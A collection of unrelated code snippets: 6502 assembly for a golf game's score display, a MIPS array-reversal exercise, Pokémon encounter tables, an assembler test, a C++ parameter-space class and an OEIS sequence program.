sta sc_v_score_str_buffer+1
+
lda #<sc_v_score_str_buffer
sta P0
lda #>sc_v_score_str_buffer
sta P1
lda #8
sta P2
; P3 (bitmap column) already set.
lda #3
sta P4
jsr font_s_draw_text
; Column (chars) on top of stack.
pla
tax
lda #GREY1
sta gfxs_c_DISPLAY_BASE+40,x
sta gfxs_c_DISPLAY_BASE+41,x
sta gfxs_c_DISPLAY_BASE+42,x
rts
; end sub stats_s_draw_holes_to_play
} ; !zone
; **************************************************
!zone {
.TEAM_ITER = MATHS2
stats_s_refresh_balls_holed_markers
lda shared_v_is_match_play
+branch_if_true +
rts ; EXIT POINT.
+
ldx #0
.loop_top
stx .TEAM_ITER
lda stats_v_balls_holed,x
tay
lda stats_l_BALLS_HOLED_TOTAL_OFFSETS,y
clc
adc stats_l_BALLS_HOLED_TEAM_OFFSETS,x
pha
lda stats_l_BALLS_HOLED_MARKERS_ADDR_LO,x
sta MATHS0
lda stats_l_BALLS_HOLED_MARKERS_ADDR_HI,x
sta MATHS1
; X keeps track of source, Y of destination.
ldy #0
pla
tax
-
lda stats_l_BALLS_HOLED_PATTERNS,x
sta (MATHS0),y
inx
iny
cpy #3
bne -
ldx .TEAM_ITER
inx
cpx #2
bne .loop_top
rts
; end sub stats_s_refresh_balls_holed_markers
} ; !zone
; **************************************************
; NOTE: only relevant to match play, but won't matter if called during
; stroke play.
!zone {
stats_s_clear_balls_holed
lda #0
sta stats_v_balls_holed
sta stats_v_balls_holed+1
rts
; end sub stats_s_clear_balls_holed
} ; !zone
; **************************************************
; INPUTS: X = current player.
!zone {
stats_s_inc_balls_holed
lda shared_v_is_match_play
+branch_if_true +
rts ; EXIT POINT.
+
lda shared_v_team_membership,x
tax
inc stats_v_balls_holed,x
jsr stats_s_refresh_balls_holed_markers
rts
; end sub stats_s_inc_balls_holed
} ; !zone
; **************************************************
!zone {
stats_s_draw_all
jsr stats_s_clear
jsr stats_s_draw_name
jsr stats_s_refresh_hole
jsr stats_s_draw_distance
jsr stats_s_draw_current_shots
jsr stats_s_refresh_balls_holed_markers
rts
; end sub stats_s_draw_all
} ; !zone
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
stats_c_SIZE = *-stats_c_BEGIN
|
# Codice sorgente prodotto in prima versione da Anton Kozhin (matr. 830515)
.data
string1: .asciiz "Inserisci numero di elementi: "
string2: .asciiz "Inserisci elemento: "
separatore: .asciiz " "
.align 2
array: .space 128
# inverti array
# -----------------
# | a | b | c | d |
# -----------------
# -----------------
# | d | c | b | a |
# -----------------
.text
.globl main
main:
# s0 = A[]
# s1 = i
# s2 = N
li $v0, 4
la $a0, string1
syscall
li $v0, 5
syscall
move $s2 ,$v0 # s2 <-- N input
# input
la $s0, array
li $s1, 0 # s1 <-- i=0
inizioCicloInput:
beq $s1, $s2, fineCicloInput # se i=N vai a fineCicloInput
sll $t0, $s1, 2 # t0 <-- i*4
add $t0, $s0, $t0 # t0 <--A[] + i*4
li $v0, 4
la $a0, string2
syscall
li $v0, 5
syscall
sw $v0, 0($t0) # A[i] <-- elemento input
addi $s1, $s1, 1 # i++
j inizioCicloInput
fineCicloInput:
move $a0, $s0 # a0 <-- A[]
li $a1, 0 # a1 <-- i=0
add $a2, $s2, -1 # a2 <-- j=N-1
jal stampaInverso
li $v0, 10
syscall
stampaInverso:
#stampaInverso(A[], i, j)
addi $sp, $sp, -16
sw $ra, 12($sp)
sw $s0, 8($sp)
sw $s1, 4($sp)
sw $s2, 0($sp)
move $s0, $a0 # s0 <--A[]
move $s1, $a1 # s1 <-- i
move $s2, $a2 # s2 <-- j
beq $s1, $s2, stampa # if(i==N) vai a stampa
addi $t0, $s1, 1 # i++
# $a0 == &A[]
move $a1, $t0 # a0 <-- i++
# $a2 == N
jal stampaInverso # stampaInverso(A[], i, j)
stampa:
# stampa A[i] e separatore
sll $t0, $s1, 2 # t0 <-- i*4
add $t0, $s0, $t0 # t0 <-- A[]+i*4 == &A[i]
lw $a0, 0($t0) # a0 <-- A[i]
li $v0, 1
syscall
la $a0, separatore
li $v0, 4
syscall
lw $s2, 0($sp)
lw $s1, 4($sp)
lw $s0, 8($sp)
lw $ra, 12($sp)
addi $sp, $sp, 16
jr $ra
|
Route13Mons:
db $0F
db 25,PIDGEOTTO;day
db 25,WEEPINBELL
db 28,GLOOM
db 28,HOPPIP ;day
db 27,DITTO
db 27,LINOONE
db 29,CHANSEY;day
db 29,PINSIR
db 26,SCYTHER
db 31,FARFETCHD
db $03
db 15,SLOWPOKE
db 15,CORSOLA
db 15,SLOWPOKE
db 25,CORSOLA
db 15,SLOWPOKE
db 25,CHINCHOU
db 20,SLOWPOKE
db 25,SHARPEDO
db 25,SLOWBRO
db 25,SLOWKING
|
; identical test with i36b.asm, but first empty lines are included, to raise max-line
; number in listing file to two digits
INC_DEPTH=0
INCLUDE "i36b_II.i.asm"
|
#include "ParamSpace.h"
#include "SpaceIterator.h"
#include "Dimension.h"
#include "SpaceCoord.h"
#include <omp.h>
void ParamSpace::iterate(std::function<void(const SpaceIterator&)> body, std::initializer_list<int> fixedDimensions) const
{
SpaceIterator it(*this, fixedDimensions);
while (it.next()) {
body(it);
}
}
void ParamSpace::parallelize(std::function<void(const SpaceIterator&)> body) const
{
const size_t sz{ size() };
#pragma omp parallel
for (size_t i = 0; i < sz; ++i) {
SpaceIterator it(*this);
ix2dim(i, it.coord);
body(it);
}
}
void ParamSpace::add(Dimension* dim)
{
dimensions.push_back(dim);
}
size_t ParamSpace::size() const
{
size_t N = 1;
for (auto v : dimensions) { N *= v->size(); }
return N;
}
size_t ParamSpace::dim2ix(const SpaceCoord& coord) const
{
size_t ix = coord[0];
size_t o = dimensions[0]->size();
for (size_t i = 1; i < coord.dims.size(); ++i) {
ix += coord[i] * o;
o *= dimensions[i]->size();
}
return ix;
}
void ParamSpace::ix2dim(int ix, SpaceCoord& si) const
{
for (size_t i = 0; i < dimensions.size(); ++i) {
si[i] = ix % dimensions[i]->size();
ix /= dimensions[i]->size();
}
}
ParamSpace::ParamSpace()
{
}
const Dimension& ParamSpace::operator[](const size_t& index) const
{
return *dimensions[index];
}
|
; A015451: a(n) = 6*a(n-1) + a(n-2) for n > 1, with a(0) = a(1) = 1.
; 1,1,7,43,265,1633,10063,62011,382129,2354785,14510839,89419819,551029753,3395598337,20924619775,128943316987,794584521697,4896450447169,30173287204711,185936173675435,1145790329257321,7060678149219361,43509859224573487,268119833496660283,1652228860204535185,10181492994723871393,62741186828547763543,386628613966010452651,2382512870624610479449,14681705837713673329345,90472747896906650455519,557518193219153576062459,3435581907211828106830273,21171009636490122217044097,130461639726152561409094855,803940847993405490671613227,4954106727686585505438774217,30528581214112918523304258529,188125594012364096645264325391,1159282145288297498394890210875,7143818465742149087014605590641,44022192939741192020482523754721,271276976104189301209909748118967,1671684049564876999279941012468523,10301381273493451296889555822930105,63479971690525584780617275950049153,391181211416646959980593211523225023
mov $2,$0
mov $3,$0
mov $5,$0
lpb $5
mov $0,$3
sub $0,$2
mov $2,$0
mov $3,6
add $4,$0
add $4,1
mul $3,$4
sub $5,1
lpe
div $0,6
mul $0,6
add $0,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.